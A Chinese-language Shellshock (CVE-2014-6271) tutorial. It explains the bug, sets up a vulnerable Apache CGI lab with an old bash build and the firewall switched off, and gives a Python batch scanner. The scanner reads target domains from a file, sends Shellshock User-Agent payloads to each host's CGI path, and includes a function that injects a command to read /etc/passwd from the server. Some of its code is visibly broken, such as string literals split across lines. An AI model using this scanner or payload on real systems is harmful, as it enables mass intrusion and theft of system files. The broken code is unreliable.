Bash Shellshock(CVE-2014-6271)破壳漏洞测试

0x01 漏洞原理

Bash使用的环境变量是通过函数名称来调用的，导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后，Bash执行并未退出，而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界，也没有做出合法化的参数判断。

0x2 Bash破壳漏洞测试

2.1 本地测试语句：

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

输出：

vulnerable

this is a test

说明有漏洞，否则就没有。

2.2 漏洞复现：

2.2.1 安装配置:

Centos6 Apache2.2 CGI

yum install httpd
service iptables stop

httpd.conf配置


1、576行设置/var/www/cgi-bin目录的脚本别名是cgi-bin，

ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"

让这个目录下都支持cgi
2、582行修改Options

<Directory "/var/www/cgi-bin">
    AllowOverride None
    Options ExecCGI
    Order allow,deny
    Allow from all
</Directory>


3、796行添加访问后缀，当其被访问能被解析

AddHandler cgi-script .cgi .pl .sh

4、200行需要有cgi模块

LoadModule cgi_module modules/mod_cgi.so

POC.cgi放置到cgi-bin,具体内容如下：

#!/bin/bash

echo "Content-type: text/html"
echo ""

echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'

2.2.1 Bash配置：

下载Bash之后，因为apache默认调用的是/bin/bash，没有漏洞。所以要通过软链接调用存在漏洞的Bash

$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
$ ln -s /usr/local/bin/bash /bin/bash

2.2 批量测试

# -*- coding:utf8 -*-

import urllib.parse
import urllib.request
import ssl
import re
import sys
from socket import timeout
import http.client    #修改引用的模块
import os

domain_list = []
result = []

#读取文件函数
def read_file(file_path):
    # 判断文件路径是否存在，如果不存在直接退出，否则读取文件内容
    if not os.path.exists(file_path):
        print('Please confirm correct filepath ! ')
        sys.exit(0)
    else:
        with open(file_path, 'r') as source:
            for line in source:
                domain_list.append(line.rstrip('
').rstrip('
'))

def bash_exp(url):
    hostname, urlpath = urllib.parse.urlsplit(url)[1:3]

    try:

        conn = http.client.HTTPConnection(hostname, timeout=20)

        headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}

        conn.request("GET", urlpath, headers=headers)
        res = conn.getresponse()
        if res and res.status == 500:
            print("{host} : discover Vulnerable! ".format(host=hostname))
            result.append(hostname)
			
        else:
            print("{host} :No Bash Vulnerable! ".format(host=hostname))


    #except Exception, e:
    except Exception as e:
        print("{host} is {err}".format(host=hostname,err=e))


def cat_passwd(hostname, urlpath):
    print("cat /etc/passwd :")
    conn3 = http.client.HTTPConnection(hostname, timeout=20)
    headers3 = {"User-Agent": "() { :;}; echo `/bin/cat /etc/passwd`"}
    conn3.request("GET", urlpath, headers=headers3)
    res3 = conn3.getresponse()
    res = res3.getheaders()
    for passwdstr in res:
        print(passwdstr[0] + ':' + passwdstr[1])


if __name__ == '__main__':
    read_file(os.getcwd()+"//attck.txt")
    for domain in domain_list:
        test_url = ("http://{domain}/cgi-mod/index.cgi").format(domain=domain)
        bash_exp(test_url)
    for ret in result:
        with open("result.txt","a+") as file:
            file.write(ret)

2.3 参考

https://www.linode.com/docs/web-servers/apache/run-php-cgi-apache-centos-6/
https://www.freebuf.com/news/48331.html
https://blog.csdn.net/yaofeino1/article/details/55211993
https://www.cyberciti.biz/faq/how-do-i-check-my-bash-version/